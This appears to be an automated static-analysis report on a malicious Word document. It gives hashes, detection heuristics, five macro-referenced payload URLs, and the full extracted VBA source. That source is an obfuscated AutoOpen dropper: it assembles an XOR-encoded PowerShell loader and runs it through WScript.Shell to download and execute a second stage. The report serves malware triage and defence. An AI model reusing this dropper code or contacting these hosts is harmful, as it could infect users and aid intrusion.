Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 8b95be7033438fb0…

MALICIOUS

Office (OLE)

232.8 KB Created: 2018-07-02 07:31:00 Authoring application: Microsoft Office Word First seen: 2020-02-04
MD5: f82fa181602c24a80f38762b8c99da56 SHA-1: 70e2d43daa489eff211c1d81913f99011dcd4681 SHA-256: 8b95be7033438fb03d93e0a7c96af64ca2264ff683dd0c64741e4f65ae0419a3
350 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The sample is a malicious Office document containing VBA macros. The AutoOpen macro utilizes WScript.Shell to execute commands, indicated by the 'OLE_VBA_SHELL' and 'OLE_VBA_WSCRIPT' heuristics. The script's intent is to download and execute a second-stage payload, as suggested by the 'CreateObject' call and the use of WScript.Shell for execution. The specific payload and its ultimate target are not discernible from the provided evidence.

Heuristics 11

  • VBA macros detected medium 6 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
    Matched line in script
       DPNdjo = (82115 + zqYER + 37474 + wQdtEj) * 37574 * OlwPE - 33651 / XTKsM
JoQfT = PlAGs + CreateObject("Wscript.shell").Run(TwwGvWUKLoP + Chr(vbKeyP) + pKpZirciXi + Chr(vbKeyO) + JJTIKRof + jaqTKoHI, 825703997 - 825703997)
   aRzNUJ = (75179 + IFvFN + 13694 + RrTvjI) * 97415 * hYlvwS - 8773 / ZGMVzf
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
       DPNdjo = (82115 + zqYER + 37474 + wQdtEj) * 37574 * OlwPE - 33651 / XTKsM
JoQfT = PlAGs + CreateObject("Wscript.shell").Run(TwwGvWUKLoP + Chr(vbKeyP) + pKpZirciXi + Chr(vbKeyO) + JJTIKRof + jaqTKoHI, 825703997 - 825703997)
   aRzNUJ = (75179 + IFvFN + 13694 + RrTvjI) * 97415 * hYlvwS - 8773 / ZGMVzf
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
       DPNdjo = (82115 + zqYER + 37474 + wQdtEj) * 37574 * OlwPE - 33651 / XTKsM
JoQfT = PlAGs + CreateObject("Wscript.shell").Run(TwwGvWUKLoP + Chr(vbKeyP) + pKpZirciXi + Chr(vbKeyO) + JJTIKRof + jaqTKoHI, 825703997 - 825703997)
   aRzNUJ = (75179 + IFvFN + 13694 + RrTvjI) * 97415 * hYlvwS - 8773 / ZGMVzf
  • Payload URL decoded from an encoded PowerShell loader (5 URLs) high OLE_VBA_ENCODED_PS_DROPPER_URL
    A VBA macro assembles (from literals scattered across helper functions) a WScript.Shell command that runs a PowerShell stage-2 loader whose download URL is hidden in a numeric char-code array — decoded at runtime by [char]($_ -bxor k) (or +k / -k) after splitting on obfuscated delimiters. The decoded hosts (often an @-separated fallback list dropped to %TEMP% and executed) are the next-stage payload URLs, never contiguous on disk; surfaced as IOCs. Self-validating: only a transform yielding a valid host URL is reported.
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Name = "jmFTWmC"
Sub AutoOpen()
On Error Resume Next
  • Reference to Windows Script Host high SC_STR_WSCRIPT
    Reference to Windows Script Host
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.optosvet.com/NZJFq7P/ Referenced by macro
    • http://janeensart.com/cMn6Qso1ny/Referenced by macro
    • http://www.usugeotechno.com/OLDq8XAVG/Referenced by macro
    • http://www.qpalconsultancy.com/wp-content/gZPTPm/Referenced by macro
    • http://vent-postavka.com/0IPz87qOj/Referenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 14220 bytes
SHA-256: 8a2179893b2e2d52e2bc0024ffc5e26e00b69e49e0b65cb94f48ac52702fde53
Detection
ClamAV: No threats found
Obfuscation or payload: likely
297 of 451 identifiers look randomly generated (e.g. 'KGJTqwwJKRss') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "KGJTqwwJKRss"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "jmFTWmC"
Sub AutoOpen()
On Error Resume Next
   BfDXRt = (91983 + JwKOK + 65205 + StJfj) * 30445 * drnYi - 99575 / MdPjat
   fvEEpc = (61271 + SHESw + 67366 + ZwAZvC) * 22518 * tKwDzU - 89426 / joWnzF
   rnZUYj = (37557 + DOVER + 67200 + zdTMK) * 89244 * ZioYcU - 59038 / vsTXJl
   inDau = (86574 + bPdvhq + 86420 + lujzN) * 82753 * ADwlcT - 55829 / tZQbvj
   kzAkH = (46715 + hmohbH + 48923 + MXfBnA) * 52956 * QVwij - 43064 / PzndJ
   zdjIEV = (22874 + vsVLDN + 85100 + ttIIqk) * 28331 * tMLVY - 68690 / dPKOuv
EzzUtU (BsKlKTbzIZc + PzIsN + iILnsH + jZpsZv)
   iiPMUd = (54812 + jJZTE + 89932 + AqNOa) * 28200 * KqYLEr - 92229 / wzAzKd
   dPljZj = (3370 + FfsIOT + 2891 + UfpTYo) * 17538 * kXnKb - 35385 / jrHMz
   uoMIvS = (61834 + jhYwS + 61636 + VJUpG) * 23752 * CsqTnb - 16210 / GHDCa
End Sub
Function EzzUtU(JJTIKRof)
On Error Resume Next
   dKdWcM = (2806 + OOJmkO + 66200 + XrRwmT) * 34901 * iFESaR - 87099 / Fiswq
   dAuMi = (55277 + BrtiT + 69127 + kbEJs) * 3948 * XHjPwU - 87328 / FWjwEO
   EZppR = (56622 + KkGhh + 60490 + ZiFobF) * 85397 * zhHQU - 71210 / wXfzT
   iTDkO = (18773 + zIPnNC + 62003 + iHdJYt) * 55181 * hAIdn - 72330 / CkLHvP
   ENvvM = (77846 + UCSEj + 38769 + CouiB) * 20590 * kFjJN - 48073 / DCulY
   DPNdjo = (82115 + zqYER + 37474 + wQdtEj) * 37574 * OlwPE - 33651 / XTKsM
JoQfT = PlAGs + CreateObject("Wscript.shell").Run(TwwGvWUKLoP + Chr(vbKeyP) + pKpZirciXi + Chr(vbKeyO) + JJTIKRof + jaqTKoHI, 825703997 - 825703997)
   aRzNUJ = (75179 + IFvFN + 13694 + RrTvjI) * 97415 * hYlvwS - 8773 / ZGMVzf
   kXjrGf = (5596 + qKPGb + 83318 + dibZPo) * 65415 * qzDLW - 97673 / lllMi
   DQsMf = (28386 + khLcCc + 57138 + taQqCJ) * 80783 * CUjLpY - 56856 / PIXZN
End Function

Function BsKlKTbzIZc()
On Error Resume Next
zoMDzB = lwtWP * 51672 * 1365 / oIfEL + (jUQEAY + NNJoZF / iMldG - WRqDPF)
   tmEqOa = qOzGM * 4370 * 84651 / EqihYk + (pLTwz + TZobI / HOjaij - DvcBfY)
   fBBnQs = (12590 / tJZHr + 51895 - vsDmfZ)
dBOFMn = "wersh" + "ell   " + "    " + "        " + "    &" + " " + Chr(40) + " $" + "SHElLid["
lWBLX = ciatjv * 21789 * 5148 / LzGTJz + (hfNQt + rwHpoc / GXLJiJ - tOjnMn)
   dPwiGW = kUniv * 40085 * 55209 / vwojJB + (VRnvT + YWjLlU / IPiXq - KFObz)
   fGTWaN = OTwzz * 55601 * 44573 / ijhpV + (sbXBzY + RiMpv / BGunO - wHLQm)
zXbVuUY = "1]" + Chr(43) + "$shEL" + "LId[13" + "]" + Chr(43) + "'X" + "'" + Chr(41) + Chr(40) + " " + "[STRiNg]" + "::joIn" + Chr(40) + "'', "
JArtc = zHTHjq * 66279 * 48550 / DDazQ + (QCQhV + dwJQRw / wYYjJf - qFzRzV)
   CRcshi = cLWKT * 79692 * 17901 / XZXDi + (vllJH + PZlXu / ZGzqEt - mzfUp)
   zHHIp = cpVzG * 76869 * 65994 / bmqGiU + (nlwoAJ + SwaDF / rqAhwJ - QCOCq)
IwwRTYF = Chr(40) + "[cHaR" + "[]] " + Chr(40) + "1" + ",74, " + "76 ,1" + "04 , 2" + "4, 75,64," + " 82, 8 ,"
XuVpWf = puOKh * 1363 * 55917 / jBYjVV + (ADPUA + DrnsnE / XAswb - NVmoQ)
   SXfvI = FjtnD * 46184 * 76492 / COjub + (HDNzvf + WiVGi / PBwwO - wbQQVK)
   UiuFU = stzaM * 13813 * 26146 / LJqOt + (ahfWRT + iKDzh / JINOLw - EFazU)
VTuaaMQXi = "74, 71 , " + "79 , 64 ," + "70,81 " + ",5 , " + "107 " + ", 64, 81 " + ",11 ,11" + "4 ,64,71" + " , 102" + " ,73, 7" + "6,64,75 ," + "81 , 30"
WcSSW = zirDA * 94629 * 98607 / jHbElR + (Orbtf + dKwDJ / ZDDwc - wkWzXH)
   zwWaR = WWRwA * 16987 * 10547 / kjNwf + (buvYb + fPvNLi / rbImh - CscqmR)
   RMsOs = oVztSa * 2699 * 59572 / mDaStw + (MjJZE + IDOPz / jRKcv - wjJdh)
wqlnsGCoAPP = ", 1 " + ",95, 1" + "02 ,1" + "24 , 24, " + "2 , 77" + " ,81, 8"
sspVBC = jHLDGN * 81559 * 61231 / NOkUF + (XCbmV + OEazz / orsZqG - LFfMc)
   wQCHY = zIGta * 2562 * 48051 / SJtQX + (tlNwu + khurJG / MqQiHv - FoKNw)
   itWlAm = zuIkr * 47431 * 81739 / UUszr + (ZncLzN + jkOTTE / RHYwRH - fvTED)
ijujHoR = "1 , 85, 3" + "1 , 10" + ", 10" + " , 82, " + "82,82," + "11, 74" + " ,85 ," + " 81,74, 8" + "6, 83" + " ,64" + " ,81"
lJjtK = GIuzbq * 53953 * 62500 / KRzia + (wsTfNQ + EEhjz / CzJYG - qwpGi)
   ZLqBvI = iDjOm * 44326 * 97344 / wZcvuV + (RtaFj + JsRRIw / jDFwh - OMMMqI)
   FXnbvc = qjUmtO * 64079 * 25789 / DkDIP + (oYoYd + uHsqws / wbdfX - GIWGf)
cAuhDAfZE = " ,11 ,70," + " 74, 72," + " 10, 10" + "7 ,127 ,1" + "11, 99" + " , 84" + " , 18 ,"
sRRwm = RWVBF * 85001 * 38276 / SkuFlr + (sDFbT + ZdSCzz / FCMub - rMKBmM)
   KKDrsz = mNlTYA * 4003 * 48349 / zjdib + (oBlAjw + dqOmI / jDsEJv - LWwoC)
   FztBv = MhimR * 31379 * 26205 / UwDpPr + (UdVBtq + jzJmo / ISNCJ - XPdPi)
ffjww = "117 ,10," + " 101, 7" + "7 , " + "81 , " + "81 ," + " 85 , 31," + "10 ," + " 10 , "
EobFUS = wbuLSK * 69040 * 66541 / iBsMJr + (MGIFXf + wvRjFt / SFDME - foVmz)
   SHBiSu = SDbOz * 21125 * 61789 / MtFpn + (rNqMI + hcYaW / BoaAnw - QXwOuv)
   DjbbtC = nzOMU * 36868 * 38714 / tDzHuv + (QYAiCA + iBSPi / qBqJvm - FozaIP)
ECWJh = "79,68" + ", 75," + " 64 , 6" + "4, 75, 8" + "6 , " + "68 , 8"
KuDCi = TUaBCu * 68557 * 99150 / OMOqvj + (rziXP + torTM / hJpBQz - fBwNSA)
   jYUJVs = HQNiNj * 72259 * 82595 / qHNSK + (XSOls + tDwrR / bzPMkz - QVfzB)
   jTMCjR = wPzMN * 6917 * 34180 / vQAdip + (MwoAEi + YkVFq / YmtiOs - lSspIm)
wWbms = "7, 81 ,11" + ",70,74 " + ",72 , " + "10 , 7" + "0 ,104 " + ", 75 ," + "19, 11" + "6 ,8" + "6 , 74 ," + " 20, "
uSRTDS = IEFJp * 92526 * 50436 / PcnBWw + (MjIdi + ZdifX / aTQXYq - kwBSoo)
   Poikt = vizTPJ * 42245 * 84697 / SLmNW + (GjZbDk + mirbI / tDGbdk - LhGuwj)
   XCIRIG = ADEXK * 60239 * 18450 / mJjhGR + (YLztwD + slMXR / qfZKGC - GldGRo)
LVkzkqnoTX = "75, 92," + "10 , 10" + "1 , 77 ," + " 81,81" + " , 85, 31" + " , 10"
BsKlKTbzIZc = dBOFMn + zXbVuUY + IwwRTYF + VTuaaMQXi + wqlnsGCoAPP + ijujHoR + cAuhDAfZE + ffjww + ECWJh + wWbms + LVkzkqnoTX
   AscLRR = LiwZv * 40276 * 90063 / sGkCf + (cPQpJo + ldfoza / NTzszX - dImrQ)
   DlBXZo = nRvTY * 85190 * 69062 / ccvRq + (ZocbEt + vLKQt / HEMml - wAwJnb)
   TSdHu = qmGiK * 51335 * 75074 / jbbiSA + (YzFPKq + JLRUo / FGAWk - EoNiM)
End Function
Function PzIsN()
On Error Resume Next
NmwNY = VCYlP * 60168 * 38841 / zAORH + (DbwDF + TrtrB / lMhlj - tWlco)
   XthcqB = Vjjjjj * 66275 * 79451 / ZWiXOU + (vNLhu + fSRcH / NmVQbE - bcuDZ)
   iIpYlw = XdMWI * 54364 * 57351 / ARkwu + (CYGsC + UwHdw / HJdnGD - WVkHd)
ilzXXdch = ",10,82,8" + "2, 82 ,1" + "1, 8" + "0 , 86,8" + "0,66," + "64,74,81 " + ", 64,70" + " , 77 , " + "75 ,74" + " , 1" + "1,70 , "
TAXDw = uIKLt * 58963 * 8336 / FjnOw + (pJKjkU + zKStL / istkIa - hFlqn)
   vcjGTH = zrAlO * 16563 * 7860 / LNrzu + (nRXNpD + uIMXP / OvBjGi - zdzdCK)
   GlHEa = OcwARl * 80618 * 86477 / RmiIh + (GtHSLR + Xknam / zUzPQT - YMlvvv)
ZUpnbT = "74 ," + "72,10" + ", 106" + ",105," + "97, 84 " + ", 29" + ", 125,10" + "0 ,1" + "15 ," + "98 ," + "10 ,10"
wjwdRj = YHkfbU * 67042 * 44297 / qnMOWG + (IimPRO + lldkj / IMWXVE - LIEav)
   HtYFbz = jvjcT * 57711 * 99088 / WzLhuq + (lnZzfd + EqoGP / fvojui - UZCoW)
   aZsuLP = djJqq * 37717 * 53317 / wwsRhA + (MMwfnk + kYTtIu / FQGiHA - iDtowd)
PiqKbN = "1 ,77 ,8" + "1 , 81,85" + " ,31" + " ,10,10," + "82 , 82 " + ", 82,11 ," + " 84 ,85" + " , 68 ," + " 73, " + "70, 74,"
WGGjf = oZFjTH * 70587 * 57787 / UijfpZ + (QhznB + zXGjw / NWQcs - bzfSEz)
   EttbMO = rtHuF * 96036 * 75056 / GHqnZ + (wNZTb + cWLYOQ / kwYHD - TVbGqW)
   djObH = qGnwi * 37214 * 54200 / vwuwj + (ujdQo + SjPAZM / OkcXJ - MqWUN)
NHAilNaVM = " 75 ,86" + ",80 , 73 " + ",81,68" + " , 75, 70" + " ,92 , " + "11 , "
rCLvcw = vJcPZq * 88747 * 5684 / sEVHk + (pPzWX + mXnklh / nAADZ - REOhwM)
   zBsWzs = okriw * 75406 * 62438 / TZwrv + (XmTjDq + wfWaM / qwVDZ - JLkBh)
   HpBtX = hzUpY * 68310 * 85843 / ichZkL + (QHEFqw + aXwdA / tPwij - PCtjr)
GzHJfu = "70,74" + " , 7" + "2 , 10, 8" + "2 , 85,8" + " , 7" + "0 , 74" + ",75, 81 ," + "64 , " + "75 , 81,1"
IWwmr = CRRjk * 86596 * 51640 / MJvtnc + (PkrmjC + oTjGFI / ToDJi - dVbTH)
   jISaC = Dzmvb * 60482 * 71198 / vvmMv + (iRYhhb + qnqBoD / nKDAjt - uwpbb)
   CCTjjZ = RNvzF * 49240 * 4550 / lofnJ + (PGrAvW + VaiBK / kkDHDL - uZECz)
uzWNKwv = "0, 66 ," + " 127 , 11" + "7 , " + "113 , 1" + "17 ," + "72 ,10" + ",101, 77"
NaFzjM = WZrOc * 73985 * 1080 / pcTZI + (FdswKw + XmZjf / YMFnIZ - RmiVH)
   zdnzY = pTnzAP * 18892 * 21579 / XRzciV + (PRajMM + mnKnpm / nMVjjL - punHch)
   NtkCv = zdtlHA * 22478 * 8601 / dzAin + (NsUsk + bLtJY / apvDRo - GfZhh)
aoCaEO = ",81,8" + "1,85, " + "31 , 10,1" + "0 , 8" + "3,64, 7" + "5, 81," + " 8 ," + " 85,74,8" + "6 ,8" + "1, 68 , " + "83,78,68 "
dVZSBi = Iimmh * 86170 * 39933 / zvaVDO + (fXLJc + BchIVW / RlQrW - jtNjE)
   KXSzMr = lKiTW * 54540 * 7490 / fqzqIk + (tjMfw + mLjtBY / XzTmjj - BRwEJ)
   mdELn = YwIzN * 653 * 43106 / pwnRi + (nbzkoK + vSSzXr / LvSamj - AQPrn)
MFGFOAIi = ",11 ,70 ," + "74 ,72 " + ", 10 " + ",21 , 10" + "8, 117" + ", 95 ,29 " + ", 18 ,84" + ", 106," + " 79," + " 10 " + ", 2, 1" + "1, 11"
PUpqd = EXKdiT * 38356 * 91394 / wwCkP + (WEFvX + MVlPZX / fcQFkq - HJGwK)
   zUEar = BsQDU * 76641 * 82466 / kYfMXL + (VmkGvw + wNTFi / kidHU - pNFMM)
   LCBVYi = NYpCG * 84507 * 4647 / GCFiM + (IhNij + hiLSrG / QhzGI - PIobj)
TsSNTJiRaRf = "8,85," + " 73 " + ", 76, 81" + ",13 , 2, " + "101 " + ",2,12, 30" + ",1, 79," + " 79," + "83, 5" + " ,24"
PqqGuH = Imcijr * 55220 * 86492 / juOvvu + (EEMDoA + kLMYv / sWcsjj - cSvOt)
   IFlsn = OJQNb * 69410 * 66471 / BjSZKW + (faEBK + idWzj / nFzbFW - VIvOs)
   ZztRCc = DtPjvG * 71565 * 85350 / YOIvZ + (ijqSt + CMzJl / SMbUMz - rmMjKi)
jYDYCuk = " , 5, 2," + " 16 , 16" + ",21 " + ",2,30,1,7" + "2 ,82 " + ", 68 ,2" + "4 ,1,64," + " 75 ,83,3" + "1 ,81" + " , 64 ,"
PzIsN = ilzXXdch + ZUpnbT + PiqKbN + NHAilNaVM + GzHJfu + uzWNKwv + aoCaEO + MFGFOAIi + TsSNTJiRaRf + jYDYCuk
   FFbLv = ajbsV * 37871 * 14175 / UdLzp + (GwNLjv + qdIZY / ErcNL - XPnouM)
   Zkzav = PCSii * 65695 * 35758 / MAtjtA + (tIHFbF + hpXhsp / QmiDz - HQAhhY)
   qcAAwh = NmChD * 21257 * 15107 / sSUSjO + (JSVOOt + lIwKK / ijLPr - RFUuoV)
End Function
Function iILnsH()
On Error Resume Next
jNjwqU = XTzzJu * 15120 * 74863 / UwPzs + (fiFcL + uWNKj / MtlXj - kLTvlT)
   ikUbO = nBuXo * 47542 * 49829 / aBXRju + (jNAdRI + tHRUaK / insjdS - JSiQGZ)
   qcmnpk = vtJrQf * 99945 * 30836 / DTSzQC + (sPALRN + ITwwF / DqTojH - ilzfl)
oAqiWp = " 72 ,8" + "5 , 14 " + ",2, 121,2" + " , 14 , " + "1, 79, " + "79 ,83, 1"
wGTNl = MRhplY * 61357 * 57155 / WwIwJ + (FMCZEO + wFBluQ / OiTwp - ZXJmAR)
   JiWLwt = YdqMCR * 21423 * 20633 / wBFIQ + (tknSQV + hiQtr / wXYzr - TWszt)
   TWLJR = ZrTiwr * 27296 * 16090 / czjmam + (sVwOZO + tkwlFs / jMwTK - tLnjV)
dJKhZpnic = "4, 2 ," + " 11,6" + "4 ,93,64 " + ",2 ,30 " + ",67 ,7" + "4 , 87," + " 64 , 68"
mCNNiO = WQViw * 96027 * 38089 / cMWlz + (QoiWIX + JNGjO / iQMbCI - ZNwOqk)
   cIEuU = WCBCJw * 46730 * 91081 / bKqBP + (MnWzXR + aojXw / iTwnii - kwhpj)
   EzZjC = bttRoj * 24101 * 46312 / coAdP + (BodLH + AiDQYn / kwfRi - oYUQi)
GLJJKBfQX = " ,70," + "77,13,1 " + ", 112" + ", 81,82, " + "5,76 , " + "75, 5,1 ,"
CHBpc = ainsw * 67033 * 29912 / DLpZHz + (OnUbS + nqmlF / QVzDq - baEYq)
   jLKjM = QVLtA * 84575 * 50731 / MTYSK + (ioMbTY + FjlmA / LirsGD - HrCHb)
   wIlLD = QWOjqV * 83084 * 4645 / DOBiT + (nPlTdP + CpQfX / OAbud - OIBdkj)
SsQbw = "95, 102 " + ",124 ,1" + "2, 94 ,8" + "1 ,87,9" + "2 ,94 , 1" + " ,74, 76"
WkFSj = hTPHk * 22696 * 33508 / KkDhv + (SHdJb + zuNpi / BoIBX - oBURZ)
   inMXjz = swNoDM * 38560 * 6728 / zXEviz + (wQznJ + ldkVRB / pTNcrj - GGhvl)
   JqPTvB = AczoUj * 26942 * 19572 / nrAHti + (TGHwQj + BqwcS / zTvkIF - ThdWc)
GKHAYam = ",104 , " + "11 ,97,7" + "4,82, " + "75 ,73" + " , 7" + "4,68 ,65"
bwNkK = JvQzw * 93704 * 26385 / UjFFVW + (bwELB + idOaP / TNjNHB - cNPMR)
   abMkiL = nzHwR * 67577 * 17485 / HGUBi + (RjwnjO + pdbrLN / JfJQpj - iDiMTi)
   dRZVs = DzATC * 29820 * 12290 / qbQmGZ + (jJcEI + kstwB / RfKfdC - miDils)
kzDjhohY = ",99," + " 76 , 73 " + ",64 , 13 " + ",1 ,112 ," + " 81 ,82 " + ", 9," + "5 ,1 , 72" + ",82 ,6" + "8,12," + " 30,11" + "8,81," + " 68 ,"
CzXRid = uwlwm * 34151 * 61824 / YToPqh + (NqUROR + LHKmjt / zphlwI - OCImKT)
   CwNpi = YwaDiC * 69184 * 34493 / pPVFb + (FKRDQ + jXGPPM / rzwvE - JiuDGQ)
   TjOWdH = LJAzJY * 18245 * 91805 / RCWiQu + (nTwEOt + LknTii / GkTRU - MjDjr)
fNYlHPjZ = "87,81 , " + "8 ,117 ," + " 87 ," + "74 ," + " 70 ,64 ," + " 86,8" + "6, 5,"
iILnsH = oAqiWp + dJKhZpnic + GLJJKBfQX + SsQbw + GKHAYam + kzDjhohY + fNYlHPjZ
   dKzKH = AXEDR * 54262 * 22040 / EjzYX + (kNfTz + AJFsw / iiNwzR - NXiVc)
   JEYRj = IMjbvl * 86151 * 72298 / LAmBlR + (zUAHlq + wcXNX / Zfjpn - HjHWRZ)
   aPqaA = jhwRPw * 22177 * 72625 / lzimCZ + (GduYjw + LiDzZk / UMiRCR - QVzwIl)
End Function
Function jZpsZv()
On Error Resume Next
VLwLJF = pZtza * 25988 * 96107 / DjQnEU + (JzvFm + YptBMS / XMOwnp - htRCXw)
   TVEWOh = JWjTu * 26206 * 91959 / ZqjFR + (aYdIQ + IaFtOa / mOdlw - sihXQ)
   NcSCz = wtDXP * 58117 * 56258 / tzqRL + (ithEG + hHKwFs / EkliH - lzpiG)
OhLzVazmK = "1 , 72,8" + "2 , 6" + "8 ,3" + "0 ,71, " + "87 ,64 ,6" + "8,78, 3" + "0 ,88 , 7"
DKrhwc = ppnDV * 82972 * 50027 / YlUIUE + (XNQGRS + lvhrzK / fYjtFp - cZBTi)
   UEUztV = dvrziw * 69762 * 94386 / pmRWWi + (htXiO + WGcVbf / PcWKE - tdmMj)
   owQkM = OCwPE * 36765 * 70816 / kAvOu + (arUUz + jZPjt / oVjqcR - zjUOw)
qbobzjPR = "0,68 ,81 " + ", 70" + ",77 , 94 " + ", 88," + " 88" + Chr(41) + " |fOReaC" + "h-oBJEcT" + "{ [cHaR]" + Chr(40) + "$_-B"
LDnKt = GVMYCv * 75096 * 67021 / iHkiw + (FLqBwz + NCPPZn / DLWSht - YTKbaH)
   RkDXaP = aicowM * 97830 * 86305 / CDYJnK + (rwYUt + GwjMiA / krMWN - OApjIv)
   UsRDL = QndRqK * 6149 * 8727 / rVitP + (tNoPOP + uoOmm / RtddfV - zBGqiC)
spKILGml = "xOr '0x2" + "5' " + Chr(41) + " } " + Chr(41) + " " + Chr(41) + " " + Chr(41) + " "
jZpsZv = OhLzVazmK + qbobzjPR + spKILGml
   jzKzju = cQYRZ * 20523 * 79541 / NwZlFX + (HRJMf + ZbRIj / BiwHq - wtvuR)
   ihOJXF = EWCwhZ * 86662 * 59578 / ARhbK + (Qpswu + dJEWvU / MSiHV - khoXjO)
   WhwazY = swIzA * 21314 * 15296 / JmWzC + (TlRBE + jsfaVp / rUQob - ZLOOV)
End Function


Attribute VB_Name = "MkamcJmbJtVS"

Open this report in the interactive analyzer, or submit your own file for analysis.